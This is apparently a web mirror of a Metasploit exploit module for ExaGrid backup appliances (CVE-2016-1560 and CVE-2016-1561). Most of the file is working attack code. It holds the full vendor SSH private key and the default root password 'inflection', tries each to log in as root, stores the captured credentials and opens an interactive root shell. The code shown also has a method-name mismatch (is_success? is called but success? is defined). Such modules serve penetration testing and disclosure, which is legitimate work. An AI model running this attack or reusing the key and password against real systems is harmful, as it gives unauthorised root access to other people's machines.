CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/exagrid_known_privkey.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Auxiliary::Report
13
include Msf::Exploit::Remote::SSH
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => 'ExaGrid Known SSH Key and Default Password',
21
'Description' => %q{
22
ExaGrid ships a public/private key pair on their backup appliances to
23
allow passwordless authentication to other ExaGrid appliances. Since
24
the private key is easily retrievable, an attacker can use it to gain
25
unauthorized remote access as root. Additionally, this module will
26
attempt to use the default password for root, 'inflection'.
27
},
28
'Platform' => 'unix',
29
'Arch' => ARCH_CMD,
30
'Privileged' => true,
31
'Targets' => [ [ 'Universal', {} ] ],
32
'Payload' => {
33
'Compat' => {
34
'PayloadType' => 'cmd_interact',
35
'ConnectionType' => 'find'
36
}
37
},
38
'Author' => ['egypt'],
39
'License' => MSF_LICENSE,
40
'References' => [
41
[ 'CVE', '2016-1560' ], # password
42
[ 'CVE', '2016-1561' ], # private key
43
[ 'URL', 'https://www.rapid7.com/blog/post/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
44
],
45
'DisclosureDate' => '2016-04-07',
46
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Stability' => [CRASH_SAFE],
50
'Reliability' => [REPEATABLE_SESSION],
51
'SideEffects' => []
52
}
53
}
54
)
55
)
56
57
register_options(
58
[
59
# Since we don't include Tcp, we have to register this manually
60
Opt::RHOST(),
61
Opt::RPORT(22)
62
], self.class
63
)
64
65
register_advanced_options(
66
[
67
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
68
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
69
]
70
)
71
end
72
73
# helper methods that normally come from Tcp
74
def rhost
75
datastore['RHOST']
76
end
77
78
def rport
79
datastore['RPORT']
80
end
81
82
def do_login(ssh_options)
83
begin
84
ssh_socket = nil
85
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
86
ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
87
end
88
rescue Rex::ConnectionError
89
return
90
rescue Net::SSH::Disconnect, ::EOFError
91
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
92
return
93
rescue ::Timeout::Error
94
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
95
return
96
rescue Net::SSH::AuthenticationFailed
97
print_error "#{rhost}:#{rport} SSH - Failed authentication"
98
rescue Net::SSH::Exception => e
99
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
100
return
101
end
102
103
if ssh_socket
104
105
# Create a new session from the socket, then dump it.
106
conn = Net::SSH::CommandStream.new(ssh_socket)
107
ssh_socket = nil
108
109
return conn
110
else
111
return false
112
end
113
end
114
115
# Ghetto hack to prevent the shell detection logic from hitting false
116
# negatives due to weirdness with ssh sockets. We already know it's a shell
117
# because auth succeeded by this point, so no need to do the check anyway.
118
module TrustMeItsAShell
119
def _check_shell(*_args)
120
true
121
end
122
end
123
124
def exploit
125
payload_instance.extend(TrustMeItsAShell)
126
127
ssh_options = ssh_client_defaults.merge({
128
auth_methods: ['publickey'],
129
key_data: [ key_data ],
130
port: rport
131
})
132
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
133
134
conn = do_login(ssh_options)
135
136
unless is_success?(conn, true)
137
ssh_options[:auth_methods] = ['password']
138
ssh_options[:password] = 'inflection'
139
ssh_options.delete(:key_data)
140
conn = do_login(ssh_options)
141
is_success?(conn, false)
142
end
143
end
144
145
def success?(conn, key_based)
146
if conn
147
print_good 'Successful login'
148
service_data = {
149
address: rhost,
150
port: rport,
151
protocol: 'tcp',
152
service_name: 'ssh',
153
workspace_id: myworkspace_id
154
}
155
credential_data = {
156
username: 'root',
157
private_type: (key_based ? :ssh_key : :password),
158
private_data: (key_based ? key_data : 'inflection'),
159
origin_type: :service,
160
module_fullname: fullname
161
}.merge(service_data)
162
163
core = create_credential(credential_data)
164
login_data = {
165
core: core,
166
last_attempted: Time.now
167
}.merge(service_data)
168
169
create_credential_login(login_data)
170
171
handler(conn.lsock)
172
true
173
else
174
false
175
end
176
end
177
178
def key_data
179
<<~EOF
180
-----BEGIN RSA PRIVATE KEY-----
181
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
182
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
183
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
184
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
185
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
186
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
187
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
188
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
189
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
190
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
191
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
192
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
193
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
194
-----END RSA PRIVATE KEY-----
195
EOF
196
end
197
end
198
199